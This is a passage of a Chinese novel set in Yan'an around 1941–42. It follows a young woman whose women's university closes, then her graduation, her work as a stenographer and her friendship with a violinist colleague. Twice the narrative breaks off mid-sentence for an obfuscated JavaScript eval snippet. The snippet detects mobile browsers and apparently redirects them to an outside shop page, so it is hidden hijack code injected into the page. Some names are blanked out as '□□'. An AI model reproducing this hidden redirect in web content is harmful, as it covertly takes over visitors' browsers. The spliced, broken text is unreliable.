陈露云惊惶地看看这个,又看看那个:“学校关了,我们要怎么办?去哪里吃饭睡觉?还发津贴吗?” 熊晖愤愤:“你就只知道这些!” 黄菲很少说话,满脑子飘荡的是《从军日记》之中这样的几句话,“谁知道这样轰烈,这样惊动全球的中国女革命先锋队,仅仅在短促的时间里像昙花般一现,就消灭了呢?可怜从万恶的封建家庭战斗出来底她们,以党为生命,以学校为家庭,她们将怎样活下去呢?” 谢冰莹的这几列文字,当初读的时候,虽然也曾经唏嘘,为她惋惜,不过并没有太多触动,毕竟谢冰莹是谢冰莹,自己是自己,新一代的女子,面对的已经不再是上一辈的社会,虽然自己的家庭是黑暗的,但黄菲有决心冲破它,认为自己一定能走出一条不一样的路来,可是如今,眼看着谢冰莹的命运就要重复在自己的身上,黄菲的心凉嗖嗖的,就好像浸在深秋的河水中。 上午之后的几节课,因为大家心里有事,都不能安心学习,好不容易到了中午,草草吃了午饭,一个个伸长脖子,望着日头盼着时间,就等着下午开会,只盼能够从校长口中听到不一样的消息。 到了下午两点,开会的时间终于到了,黄菲坐在礼堂的一个位子上,转头看看其她人,多数不自觉地扭着身体,显得十分的不自然,非常不安的样子。 不多时,校长走上主席台,此时女大的校长已经换成了李富春先生,李校长声音低沉地向学生们宣布了这一个消息,没有任何奇迹,女大要在九月关闭,听他这样一说,台下一些女生登时哭了起来。 李富春看到这样的情形,显然也十分难过,马上说道:“同志们,大家不要难过,虽然鉴于形势的紧张,女大不得不关闭,但是并不意味着今后就无处读书,中央决定,女大与陕公和青干校一起,合并为新的学校,延安大学,大家仍然可以在里面继续学习。” 接下来便是教育长张琴秋讲话:“同学们不要灰心,女大停办,不等于妇女同志就没有地方读书,希望大家在延安大学努力学业,为妇女解放,为中华民族的解放而奋发有为!” 周围依然是一片啜泣之声,黄菲的眼眶也湿润了,强忍着没有让眼泪掉下来,心头一片茫然,自己今后要怎么样? 12.第十二章 毕业 第十二章 毕业 从八月到九月的这一个月,黄菲的心情是低徊的,那样的悱恻,简直如同一首词了。 就在女大宣布关闭的第二天,景斌兴冲冲地来找她:“黄菲,我的小说发表了,就在这一本杂志上!” 说着塞了一本书到她的手里。 黄菲没精打采的举起来望一眼,《西北文艺》。 见她迟迟没有动作,景斌等不及了,便伸出手来替她将扉页翻开,直接翻到自己小说的那一页,题目叫做《秧歌》,下面的作者署的是笔名,京文,是将他名字的两个字各取了一部分。 景斌没有留意到黄菲的神情,依然是兴致勃勃:“没想到这么快就发了出来,刚刚投稿一个月的,编辑和我谈过了,说我写得很好,这都多亏了你,如果没有你,我的文学之梦不会这样顺利,当年安娜从破产的危机中拯救了陀思妥耶夫斯基,我虽然比不得文豪,但你确实是从写字的困苦中拯救了我,一想到那么多字都要一个一个地手写,就感到手都要断了,等到将来……” 景斌滔滔不断地叙说着未来的计划,兴奋得脸上发红,满怀着对将来的希望,黄菲神游了一阵,实在忍耐不住,打断了他:“女大要关闭了。” 听了她这样一句话,景斌这才从自己的快乐之中脱离出来,片刻间脸上有些惭愧:“抱歉,黄菲,我太高兴了,一时竟然没有顾得上这件事,我本来也是要和你说,这件事太遗憾了,谁能想到不过两年的时间,当初那么轰轰烈烈的女大,就要停办了呢?这都是国民党的反动,他们封锁边区,让边区经济难以为继,为了缩减开支,这也是不得已,然而终究是让人难过……” 他口中絮絮叨叨地安慰,过了一会儿或许是见黄菲没有反应,终于止住了不说。 黄菲这时候幽幽地说:“如今我不但失掉了精神上的家园,连现实中的家园也失掉了。” 不仅无处安放灵魂,也无处安放身体。 见她如此悲伤,景斌同情之余,又觉得有一点好笑,强忍着没有乐出声来,很是认真地劝慰道:“并不是啊,虽然女大不再单独开办,但是学生都可以转去延安大学,我已经听说了,三个学校合并在一起,力量反而增强了,在延安大学,一定可以学到更多的东西,难道一定要开办一个单独的女子学校,才是妇女解放吗?与男子同校,就那么委屈吗?” 最末两句,他玩笑似的说。 黄菲两眼望着他,瞬间忽然觉得和他没有话可以说,是啊,就是很委屈啊,女子学校对于自己,就是很重要啊,九月就要转入新的延安大学,在那里并不是不可以继续学习,只是在自己而言,总好像偷了人家什么宝贵的东西,本来并不属于自己,却悄悄地占取了。 就好像从前,自己偶尔偷偷回去乳母家中探望她,和她说自己最近又读了什么书,詹妈妈一边做针线,一边神采飞扬地连连点头:“我的姑娘啊,可真是聪明,看读了这么多的书,我连名字都没听过呢,将来一定是要考状元的。现在民国了,没有皇帝了,不用女扮男装考状元了!” 詹妈妈虽然不识字,但是会讲《再生缘》,在鬼怪狐妖的传说之余,乳母极喜欢讲孟丽君,扮了男装去考状元,一众男才子都没有比得过她,后来在朝廷之中做了许多的大事,成为了宰相,说起这些故事,詹妈妈面色迷离,如梦似幻,仿佛去了另一个世界。 景斌安慰了她一阵,见黄菲的情绪依然不高,一时便有些气馁,想要告别她先回去了,然而这样终究觉得不太好,他绞尽脑汁地想新话题,忽然间想到:“啊呀,你知道吗?陈女士住进医院里去了。” 黄菲本来没有太多兴趣,不过见景斌挖空心思,很是努力,便感觉有必要回应一下,便问道:“是哪一个陈女士?” 景斌忙道:“就是陈学昭女士啊,说是吃了过量的安眠药,差一点死掉呢,好在给人发现了,赶快送去医院,真危险啊,她还怀着孕……” 景斌絮絮地讲述着。 黄菲这一下果真吃惊了:“是陈学昭女士,怎么会这样呢?她的爱人不是医生吗?怎么竟然会让她安眠药吃过量?当时爱人不在身边吗?” 陈学昭女士的丈夫何穆,是医学博士,在延安鼎鼎大名,那一次伤寒流行,出了很大的力。 景斌摇头:“不知道,现在想来很是后悔吧,当时没有在陈女士的身边。” 黄菲连忙问了几句陈学昭,得知她已经脱险,心思便又回到了女大的事情上,依然是低徊着,这一天的夜晚,两个人分别时,很是意兴阑珊,都觉得不像以往那样有趣味。 女大关闭的事是在八月初决定通知下来,不过正式的关闭,是要到九月,事实上在八月,得知了这个消息,就已经开始为新的学校做准备,大家纷纷收拾物品,并不是她们要迁移,而是为的另外两个学校的同学搬进来,延安大学就设在从前女大的地方,王家坪。 到了九月,一群青年学生涌入了延安大学,就是陕北公学与青干校的同学,有男生扛着重重的书箱,乐呵呵地说:“你们运气好,不用搬家,搬来搬去累死人了。”。 黄菲承担接待,递了一把零食过去:“吃枣子吧,延安出名的白蒲枣,这时吃刚刚好。” 虽然不必承担搬家的辛苦,然而放眼校园,一群群男同学分外刺眼,景斌已经开导过几回,“都是革命同志,在一起学习,有什么不好呢?”诚然无法反驳,终究仿佛是自己的地方为人占据了一般。 那男生接过枣子,往嘴里一丢:“又脆又甜。” 黄菲一边感伤,一边抓紧适应,毕竟还有将近一年的时间,这段时间的学业也是重要的,可是到了十月,忽然又是一个消息传来,速记班的学生都提前结业,现在工作战斗吃紧,岗位上需要她们,马上就要安排她们的任务。 黄菲听到这个消息,又是一阵吃惊,回到窑洞里和同学说:“真没想到,这么快就要离开学校。” 陈露云当即道:“真是的,铺盖都刚刚打开来呢,就要走了。” 然后她马上又说:“这样也好,你有了工作,就有津贴费,你坐机关当速记员,拿的钱应该比学校里作学生高一些吧?津贴费多一点,买东西更方便。” 陈露云前面一句感慨倒是还无所谓,后面几句话一出来,几个新的同舍学生登时都侧目了,这是革命青年吗?满脑子想的都是津贴费,买东西。 换了新学校,原本的住宿建制一定程度打乱,黄菲之前的宿舍同学,有一些搬到这一间窑洞,也有一些分散了,另外有三个人是新加入的,从前与陈露云不很相识,对她不够了解,此时一听她这样的想法,顿时大大出乎意料之外,作为有志向的年轻的革命者,进入工作岗位,不是为了能够尽早为革命事业出力吗?让中国人民的解放事业早日达成,然而这一位却只想着津贴,在她看来,大概有了一个职业,就等于有了一个稳妥的饭碗,今后不担忧吃饭,速记员属于机要岗位,津贴应该还比一般高呢,可以多买一点肉。 熊晖和潘岳荣在一旁倒是一脸泰然,她们与陈露云同学一年零三个月,对她的种种做派早就看惯了,起初自然是刺眼的,生活会上也多次提出过批评,然而陈露云真是个滚刀肉,只不过稍稍收敛,底子依然没变,潘岳荣甚至觉得,她只不过是更隐蔽了,让人更难发觉,本质依然故我,可是拿她也是没办法,此时轮到新同学来感受这一位的特立独行。 果然,不多时陈露云下炕打水洗脸,青干校的顾新实悄悄凑到熊晖旁边,说:“你同学怎么这个样子?” 熊晖把脖子一梗,道:“关我什么事?她现在也是你同学啊!” 顾新实便坐回自己铺位,不再说话。 黄菲接到了命令,便准备去机关,又过了两天,礼拜天她与景斌相会,景斌请她去合作社吃饭,两碗米饭,红烧肉,还有一碗虾米白菜汤,景斌的那一部小说十万字,一期刊登不完,《西北文艺》那边预备分五期给他连载完,景斌得了一些稿酬,就兑现了前言,请黄菲吃饭,本来早就说请饭,可是黄菲这一阵纷纷乱乱,就顾不得赴约,总算今天终于有了时间。 合作社的小馆子里,两个人坐下来吃饭,黄菲看着送上来的饭菜,笑着说:“大作家,多谢你,让你破费了。” 景斌伸出筷子指点着那一碟红烧肉:“你太客气,这一篇小说,有你一半的功劳,区区一餐饭而已,是你应得的,快吃肉。” 然后就自己夹了一大块,放进了嘴里。 黄菲笑着也夹了小小一块,慢慢咀嚼着,真香,好久没吃到这么香的肉,学校里每次改善伙食,都只是薄薄几片肉片,都是精瘦精瘦,没有肥油,吃到嘴里干巴巴的,没有味道,下馆子终于吃到了五花肉,带皮带肥肉,自己从前不爱吃肥肉,一看到就嫌腻,然而现在,颇能吃几块了。 两个人一边吃,一边谈着景斌未来的文学梦想,景斌这一篇小说,反响非常好。 黄菲也听到了:“我们的军事□□说,情节生动,词句质朴,没有知识分子惯有的造作,相当贴近群众,很能反映真实生活,看来知识分子是可以与工农结合的,作者是延安文艺界一颗新星,虽然目前星光还是小小的。他可不知道你是谁呢。” 这话是从黄菲口中说出,感觉自然不一样,景斌分外受到鼓励,设想未来更加兴味盎然,黄菲也随着兴奋了一阵,情绪终究又落了下来,叹道:“可惜我马上就要离开学校了。” 景斌微微一愣:“怎么?” 黄菲给他解释:“上级来了命令,要我去机关当速记员。” 景斌笑了:“这样也很好啊,学以致用,你的速记水平很不错的,完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这并不是为了安慰黄菲,而刻意说的敷衍的话,黄菲的文化水平不要说在女子当中,就是放眼当今中国,也算是好的了,来延安之前,初中毕业呢,如今的中国,遍地文盲,绝大多数人都不识字,当然在景斌熟识的人之中,基本都是能读书的,但他很清楚地知道,那是因为自己所交往的都是知识分子,每个群体都有个圈子,自己就是在知识分子的圈子里前后左右地漂游,所以与朋友在一起,总能谈几句读书,然而整个中国哪里都是这个样子呢?所以黄菲即使作为一个初中程度的女学生,也已经是很不错的了,更何况又在女大学习了一年多的时间。 要说女大,虽然偏重于实务方面,在思想培养之外,主要是培养实用技术,以便未来谋职业,然而□□的水准那可是超一流,政治军事方面,单说客座教授,就有毛主席、周副主席、朱总司令、□□、洛甫、陈云,还有邓颖超、康克清这些出名的女杰,正式的□□,艾思奇讲哲学,陈伯达讲革命理论,音乐教师是冼星海、郑律成,文学导师是丁玲,这样的阵容,用东北话来讲,就是“杠杠的”,当初听黄菲一个个报出□□的名字,景斌也不由得要赞叹,这样的授课水平,真是相当的高了,所以女大的学生,学养是不差的,比如自己的女友,学业进展相当的快,让人惊奇。 然后景斌又说:“况且你有你的长处,你的旧学功底很好。” 这不是客气的安慰,实际真的是这样,景斌接受的主要是新式教育,而且偏重外国文学,黄皓的家中则是旧学氛围浓厚,黄菲的母亲卢兰玉,就是一个典型的旧式才女,大家闺秀,而家中的书房,用黄菲的话来讲,“走路的脚步稍重一点,便是浓浓的灰尘气息”,书页里的灰都震动了出来,烟腾腾的,都是很久远的书,几十上百年了,所以黄菲诗词上能行,也写得一手漂亮的毛笔字,过年的时候,是她给大家写春联,“地动山摇,神州齐抗战;天怒人愤,鬼域必灰飞”,横批“驱逐倭寇”。 景斌劝说了好一会儿,黄菲的心情终于有所好转,这时候她们看一眼碟子里,已经只剩下一小块肉,余下的就是一点点汤汁,景斌笑着把那一小块红烧肉夹到黄菲碗里:“快打扫干净!” 黄菲抬眼对着他抿嘴一笑,笑得甜丝丝的。 景斌把一块米饭在浓稠的肉汁里滚过,擦净了碟子底,一边咀嚼那一小团带了肉汤的米饭,一边说着:“肉太少了,只可惜如今的延安,稿酬不比从前,否则该要一大碗肉。” 实在是馋肉,尤其是男人,不能不吃肉的,对肉食有格外的渴求,方才劝黄菲吃肉,自己却先夹了一大块来吃,此时想一想,也觉得有点不好意思,然而当时看着这样一碟通红的五花肉,实在是顾不得了,眼睛发绿,胃里冒火。 黄菲笑着:“你多多地写小说,便能多多地赚稿酬,下一次请我吃大碗的红烧肉。” 景斌抬头笑道:“尽力尽力,只是又要麻烦你,让你费辛苦。” 13.第十三章 年轻的速记员 第十三章 年轻的速记员 十月中旬,黄菲拿到了毕业证,是延安大学的毕业证,不是女子大学,虽然如此,她依然是把那一张证书按在胸口,贴了很久,这是自己学业的标志,证明自己曾经在这样高等的学府读过书。 在简单的毕业式后,黄菲便提着自己小小的一卷铺盖,背了一个包,去往分派的机关。 黄菲是在交际处的秘书处担任速记,到了那里,同志们热情欢迎,很快为她安排了住处,黄菲和另一个叫做“小焦”的女同志合住一个窑洞,毕竟是负担了工作的,住宿便不一样,不再是从前八个人一间宿舍,而是两个人住这一口小小的窑洞。 黄菲来到住处,这一天是礼拜三,大家都在工作,此时接近中午,窑洞中暂时没有人,黄菲放下铺盖与背包,先就拿起扫帚来,把窑洞里里外外打扫了一遍,离开学校时,她预备了一个馍,为的是怕万一来不及吃饭,此时刚好用到。 黄菲是做一件事情但凡开了头,不做彻底不肯休息的,她简单吃过之后,便又拿起一只面盆,绞了抹布,各处揩抹起来,就这样一直忙碌到将近黄昏的时候。 木板门“咯吱”一声,室内光线陡然明亮,一个二十六七岁的女同志走进来,一眼瞥见她:“呀!你来了!” 转头看看四面:“这么干净!” 黄菲朝着她一笑:“我叫黄菲,是焦同志吗?” 那个同志满不在乎地一摆手:“你叫我文俊就行了。” 然后往桌面上一看:“啊哟,这还有一瓶花!” 那一张简单陈旧的木板桌上,此时一个洋铁罐,上面印着“止咳保肺片”,里面插了一簇野菊花,花朵小小的,但是黄得灿烂,让这间窑洞一下子便明亮起来,炕里面墙上贴着的毛主席像,也显得更加辉煌了。 然后焦文俊“噗通”一声,一屁股坐在炕上,招呼黄菲也坐下来歇歇,两个人就聊了起来,黄菲自然是要问这位前辈,机关里的规则,焦文俊在这里工作了大半年时间,虽然也不是很久,毕竟比黄菲黄菲要熟悉,便笑嘻嘻地一件件事给她讲:“……早上八点钟吃早饭,中午十一点吃午饭,下午三点吃晚饭,要看准了时间,错过了便吃不到的……也不要太过紧张,都是革命同志,什么事都好商量的,没有那么难说话。” 黄菲不由得便向外面看了看天色,已经大约五点多了,早过了开晚饭的时间,焦文俊一看她这个样子,也明白了,呵呵地笑,伸手往东边一指:“出门往那边走一段,就是合作社,现在还有饭,你有钱么?” 黄菲点头道:“有的。” 然后从小包袱里翻出钱来,出了门,一路走向不远处的合作社。 当天晚饭后,黄菲简单擦洗了身体,刷牙之后,天已经黑了,她便和焦文俊坐在炕上说话,之后又是躺在那里说,说的都是机关里的事,“都要做些什么呀?是不是经常开会?要见许多人么?哎呀我不是很会说话……” 黄菲有一种年轻人特有的好奇心,焦文俊又很爱说话,于是两个人的话头简直停不下来,一直聊到了半夜,这才各自迷糊睡去。 从第二天起,黄菲便开始了在秘书处的工作,果然如同焦文俊所说,许多同志都是很好相处的,虽然自己刚刚走出学校,年纪很轻,资历又浅,但是大家对自己都不摆什么架子的,说话总是笑嘻嘻,遇到自己有困惑,往往抢着帮自己解答。 正式接触实际工作,黄菲才发现,虽然自己从前在学校,功课学得很好,也有为景斌作速记的经验,然而在正式的机关工作之中,还有许多要学,这就需要老同志的帮助,而同志们对自己都相当亲切,很耐心地指导,这让自己那一颗初入机关、难免忐忑的心,渐渐安稳下来了。 另外同住的伙伴也很好,焦文俊是一个很热闹的人,虽然有些粗枝大叶,但天性开朗乐观,整天总是笑呵呵的,仿佛没有什么值得忧愁烦恼的事,只要有她一个人在窑洞,就好像有一群人在这里,对着黄菲,总是能说很多的话,黄菲只需要适当地点缀几句,为她激发兴致,她便能滔滔地连续不断说下去,黄菲以为,有这样一个人,自己是绝不会嫌寂寞的。 过了大约一个月时间,十一月里,外面已经是北风呼啸,这一天晚上,窑洞里烧起热热的火炕,两个人盘腿坐在炕上,黄菲在油灯下面奋笔疾书,自己的第一份入党申请书。 旁边焦文俊两片嘴皮不停地碰着:“……应该多修厕所,机关倒是还罢了,好歹总有厕所,出去外面,总找不着茅厕,男同志到底方便些,找个墙角就解决了,我们女同志哪有那么大方?如今天寒地冻,男同志露天都难受了,冻成冰啊,更别说我们妇女同志……” 黄菲停下笔,抬起头来轻轻点了点:“从前在学校里,厕所修在山坡上,天一黑就不敢去。” “为什么?” “怕鬼。” “哈哈哈,还是小姑娘啊!年轻人,真有趣。” 黄菲抿嘴笑了笑,俯下头正要接续来写,忽然之间,外面传来一阵悠扬婉转的提琴声,不知是哪里发出,听得模模糊糊,但仍然能够听到。 黄菲竖起耳朵听了片刻,转过头来问道:“文俊姐,那是谁在拉琴?之前没有听见过的。” 焦文俊消息最灵通,本机关没有她不知道的事情,但凡有什么困惑,问她十有八九会知道。 果然,焦文俊竖起耳朵仔细听了听,两只手一拍,笑着说道:“莫非是她,我们新来的会计?听说本来是剧团里,拉小提琴的,就住在我们隔壁,大概明天你就能见到她。” 说着伸手往火炕内侧的墙壁那边一指。 窑洞很是隔音,原来就住隔壁。 黄菲有些惊讶:“拉提琴么?那为什么要到这里来?并不是这里不好,只是,学艺术的人转作会计,是不是有些荒废呢?” 焦文俊耸了耸肩,仿佛不很在意地说:“那谁知道呢?唉,黄菲,已经这个时候了,你饿不饿?” 黄菲咯咯地乐:“真有一点饿了呢,每天到了这个时候就很想吃宵夜。” 得说机关哪里都好,就是这个吃饭的时间,有点让人为难,早饭倒是罢了,十一点吃午饭稍嫌早了一点,但是也能接受,只是三点钟就吃晚饭,那时还是下午呢,早早就把晚餐吃完,到了七八点的时候就容易感觉到饿,倘若是要熬一点夜,晚睡一刻,比如现在,九十点钟的样子,就会更饿,简直肚子咕咕叫了,偏偏黄菲是要晚间看书的,所以每次到了这个钟点,肠胃就有点难熬,想吃夜宵。 这个宵夜的念头,黄菲平时不太愿意说出来,总觉得好像是有一点“资产阶级味道”,娇生惯养的大小姐,打牌看戏夜里饿了,叫厨房赶快送宵夜,一个革命者,是不该想着宵夜的。 焦文俊哈哈笑了两声,跳下炕来,从挂在墙上的棉袄口袋里摸出几个圆圆的东西,朝着黄菲一晃:“看看这个!” 黄菲仔细一看,是板栗。 “啊呀,哪里来的板栗?” 焦文俊得意洋洋:“今天出门,看到不知道是哪个机关的人在运栗子,袋子破了,从里面滚出几个来,我赶快捡起来藏在口袋里。” 黄菲笑着拍手:“呀,你真是运气得很!” 焦文俊把栗子放在炉圈上:“前面一路漏着,我就在后面一路捡,这个高兴啊!有老乡看到了,也过来一起跟着捡,可惜过不多时,给前面赶车的同志发现了,赶快封了口,就捡不成了。不过就这样也还行,等一下我们就吃烤栗子。” 半个小时之后,听到了栗子壳裂开口的声音,轻微的噼噼啪啪,一股香甜的烤板栗的味道飘了出来,直钻进人的鼻孔,焦文俊用两只筷子飞快地把破了口的栗子夹起来,放在一个铁盒盖上,一共九只栗子,哈哈笑道:“这就是火中取栗!这五个是你的。” “啊,我不要这么多,这一个给你。” “你吃吧,正在长身体的年纪呢。唉你今年多大了?” 黄菲挺起了胸:“十九!” 按中国岁来算,比西洋算法大一岁,显得自己更成熟一些。 焦文俊不住地乐:“那也还小得很。黄菲啊,我问你,你来了这一阵,对咱们机关的感觉怎么样?” 黄菲吃着香喷喷的栗子,眼睛弯弯的:“很好啊,同志们很好相处,大家对我都特别的好,这就是我之前一直想的,革命大家庭。” 然后黄菲就扳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061673|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手指,述说着同志们对自己的亲切温暖。 焦文俊一边听一边乐,很是随意地点着头:“嗯,是啊,大家对你是很好的。” 得说小黄,是个不错的同志,虽然年轻,但是速记功底并不差,自己看过她做会议记录,那落笔刷刷刷的,而且人勤快,做事尽职尽责,她那一张嘴也甜,不是一般“飒爽英姿”的女同志,黄菲是很乖巧的,特别会体贴人的心意,虽然说话不多,但很让人爱听,所以同志们对她的印象都很好,待她友善也是很可以料想的。 另外黄菲还是一个相当单纯的人,就像延河的水一样清澈。 吃过了栗子,两个人又聊了一会儿天,便刷牙睡觉了。 两天之后,是礼拜六,当天工作结束之后,黄菲回到窑洞,今天这里安安静静,焦文俊是有爱人的,每到这一天,便要赶去与爱人见面,“过礼拜六”,要到周日的晚上才会回来,所以今天晚上和明天一个白天,宿舍都只有自己一个人。 黄菲已经在食堂里吃过了饭,此时洗脸刷牙,擦洗身体,把脏衣服丢到一边,留待第二天白天出了太阳再洗,白天洗衣服,总觉得能够暖一些,水不再那么冷了,省热水。 等到这些都做完了,一天的事务全部结束,感觉很是轻松,黄菲便坐在炕上看起书来,窑洞之中静悄悄,平时焦文俊在的时候,这里满是说话声,她一个人,就抵得上一个连队,热热闹闹,快快活活,此时她去和爱人在一起,黄菲独自一个,便没人说话,起初是有些不习惯的,不过到了这个时候,已经适应了,觉得这样也很是不错,自己可以静下心来看书,是另一种快乐。 黄菲手上拿着高尔基的《童年》,正在细细地读着,忽然隔壁的琴声又响了起来,微弱的提琴曲调萦绕在耳边,仿佛回声一般遥远,黄菲从书页上抬起了头,努力听着,听了一会儿,她放下了书,站起身来,穿上棉袄,吹熄了油灯,便走出门外,她刚一离开窑洞,便感到一股极冷的风对着自己吹来,于是黄菲三步并作两步,便到了隔壁的门前,抬起手啪啪啪地敲门。 不多时,里面的琴声停了,然后仿佛窑洞内有人在移动,一两分钟之后,门开了,一张二十七八岁青年女子的脸从门缝里露出来,两只又大又黑的眼睛向外面张望着。 黄菲冲着她一乐:“是胡瑾同志吗?” 胡瑾看着眼前的人,脸上的神情显然是在努力思索:“啊呀,是我们机关里的同志,我记得你,是做速记是吗?你是叫……” “我叫黄菲啊!” “哦对对对,是黄菲同志,你看看我这个脑子,明明昨天介绍过的,就是记不住。快请进来坐!” 机关里几十个人,事情又忙,没有太多时间交际,况且到现在仅仅两天,胡瑾只不过勉强能把会计科同志的姓名与人脸对上号。 胡瑾把黄菲让进了窑洞:“快上炕!外面很冷吧?” 黄菲也不客气,直接上炕,在延安学习锻炼了一年多的时间,她身上的小姐气息毕竟脱去了许多,不再那样拘泥于礼仪,外面真冷啊,明明只是几步路,就好像漫天风雪之中走了半夜一样,黄菲的两手冰凉。 胡瑾洗净了一个搪瓷茶缸,为她倒水,黄菲笑嘻嘻地脱了鞋坐在炕上,火炕烧得热热的,不多时便暖了过来,一边喝着热水,两个人一边开始闲谈:“胡瑾同志,啊呀我就叫你胡姐姐吧,那是你的提琴吗?拉得真好听,这两天都特别留意听你拉琴。” 胡瑾抿嘴一笑:“没有吵到你就好,之前还想着,幸好窑洞的墙够厚,否则打扰同志们休息就不好了。” 黄菲连连摇着手:“不打扰不打扰的,夜里读书累了,听提琴很能够醒脑,只可惜总是隐隐约约,觉得不够爽快,所以今天晚上特意到你这里来听琴,胡姐姐,你累不累?再拉一首好不好?” 胡瑾抬手抿了抿耳边的短发,笑道:“我拉起琴来是不容易感觉到累的,你愿意听,我便拉一支曲子,你想听什么?《军民进行曲》么?” 黄菲一脸兴奋期盼:“什么都好,我都喜欢听!” 胡瑾便拿起了小提琴,琴弓放在弦上,右手一动,轻盈灵巧地演奏了起来,窑洞中瞬间回荡起悠扬的琴声。 14.第十四章 追逐星光 第十四章 追逐星光 这一年很快就过去,时间进入一九四二年,二月十四号除夕,黄菲是在胡瑾家里吃的年夜饭。 自从那一天夜间听琴之后,两个人的友情便迅速升温,不多久便好得让焦文俊诧异,曾经玩笑似地说:“整天到她那边去,就不怕我嫉妒?倒好像不是和我住一起,是和她同住。” 黄菲笑嘻嘻地拉住她的手:“文俊姐,我们一起去听胡姐姐的提琴!” 焦文俊一撇嘴:“我才不去,我不喜欢听洋人的那些玩意儿。” 虽然是高级中学毕业,但是与那些洋派的知识分子不同,焦文俊的情趣相当的中国化。 不过虽然是这样说,却依然是给黄菲硬拉着过去了,毕竟延安的文娱活动太少了,每次举办晚会,礼堂里密密麻麻的人,简直连一根针都插不进去,大家都极其兴奋,渴望看演出,紧张忙碌的革命工作当然是让人感到很充实,不过在工作之外,人还是难免希望得到一些娱乐与放松,所以晚会是宝贵的,节目哪怕略有一点粗糙,看着也是津津有味,往往参加了一次晚会,回来几天空闲谈天的话题,都是那一次演出的节目。 所以哪怕胡瑾拉的是西洋乐曲,焦文俊觉得也可以听一听。 胡瑾这一阵确实比较多地练习西方提琴曲,那还是因为与黄菲熟悉之后,有一次礼拜天,黄菲又过来听琴,胡瑾拉了几段延安的乐曲,黄菲忽然问道:“胡姐姐,我听说苏联有一个柴可夫斯基,作的曲子很好,你能拉他的曲子吗?” 胡瑾有些意外,看了看她,然后点点头:“能的。” 其实是俄国音乐家,那时候苏联还没有建立。 然后胡瑾略加回忆,便演奏了一段《D大调小提琴协奏曲》,胡瑾演奏得十分入迷,黄菲在一旁听得也很感觉有趣。 从此以后,胡瑾演奏的革命歌剧逐渐少了,西方提琴曲的数量加多,黄菲在她这边,听了满耳朵的《流浪者之歌》、《魔鬼的颤音》、《恰空舞曲》,单是《D大调小提琴协奏曲》,就听了几个不同的谱子,好些人都写过,调子自然不一样,只是名字都是同一个,仿佛懒得取名一样。 听得久了,黄菲便有了一些感觉,有一回胡瑾拉完一支曲子,停下来歇一歇,喝了几口水,然后含笑问她:“觉得这些曲子怎么样?” 黄菲想了想:“比起我们中国的曲子,又是一种味道。” 和延安那些雄壮的曲调很不一样,与自己从小听惯的桂戏更加是不同了,那种感觉虽然起初很是陌生,仿佛来自另一个世界,但是听多了一些,便觉得也很是优美,充满了新鲜的趣味。 于是黄菲便讲起了自己的感想,胡瑾很留意地听着,慢慢地与她谈了起来,欧洲古典样式的庄园,夏季里薰衣草的香气,河边磨坊的风车,清澈的莱茵河,娓娓地描绘,黄菲眼前仿佛展开一幅油画,异样地动人。 因为把黄菲当成了自己灵魂的共鸣者,胡瑾对黄菲的感情便迅速炽热起来,家里有什么好东西,总是记得叫黄菲过来吃,这一天是除夕,胡瑾想到焦文俊已经回家去了,那边窑洞里只有黄菲一个人,孤孤单单,除夕的机关晚餐,倒是能比平时好些,却也不过是黄金饭换了金银饭,炒白菜加一点点肉末,煮南瓜多几滴油花,大年夜吃食堂,实在有些无聊,她一个年轻的女孩子,又不怎么会做饭,虽然在学校里的时候,曾经去厨房帮厨,但谁都知道究竟是为了什么去的,黄菲烹调的手艺啊,实在很是一般。 这一点就得说到阶级性,虽然黄菲也控诉封建家庭的黑暗,但有钱人家的孩子,与穷人家女儿的苦法毕竟还是两样,黄菲在父亲的家中,用不着自己下厨,所以黄菲虽然是能将食物煮熟,要说味道究竟有多么好,就很难评论,所以即使她买来材料,在窑洞里自己烧菜,能改善的也是有限,所以胡瑾便提早约了黄菲,这一天晚上来自己家里吃饭。 除夕当天,黄菲早早地就来了,同胡瑾一起淘米洗菜,胡瑾居然有办法弄来白米,这实在是让人喜出望外,两个人就一边料理食材,一边说着话,小小的厨房里只有她们两个人,说话相当方便,胡瑾的丈夫正坐在房间里读着《解放日报》,孩子也从保育院接了回来,在客厅厨房乱跑着玩耍。 黄菲看着胡瑾的女儿,小姑娘大概三四岁的样子,有些瘦弱,但很活泼,时不时就会来抱住妈妈的腿:“妈,陪我玩儿!” 胡瑾连忙把她送出厨房:“去找你爸爸,这里又是火又是烟,没什么意思的。” 热油开水啊,很容易烫伤人的。 又招呼孩子的爸爸:“你陪她玩一下!” 胡瑾的爱人答应一声,放下报纸,俯下身来拍手对着孩子说:“妞妞,到爸爸这里来!” 好容易把小姑娘哄了出去,黄菲便与胡瑾谈起孩子的事:“之前有一个女大的同学,已经进了母亲班了。” 就是段葵芳,孩子生下来了,头痛的是奶水不足,她现在一心琢磨的,就是想办法弄一只羊,放羊挤羊奶,喂饱孩子,前两天还见到过来这边伙房后面捡煤核,预备后面蒸鸡蛋羹,如今她最重要的革命任务,就是保证孩子的健康,这未来的火种。 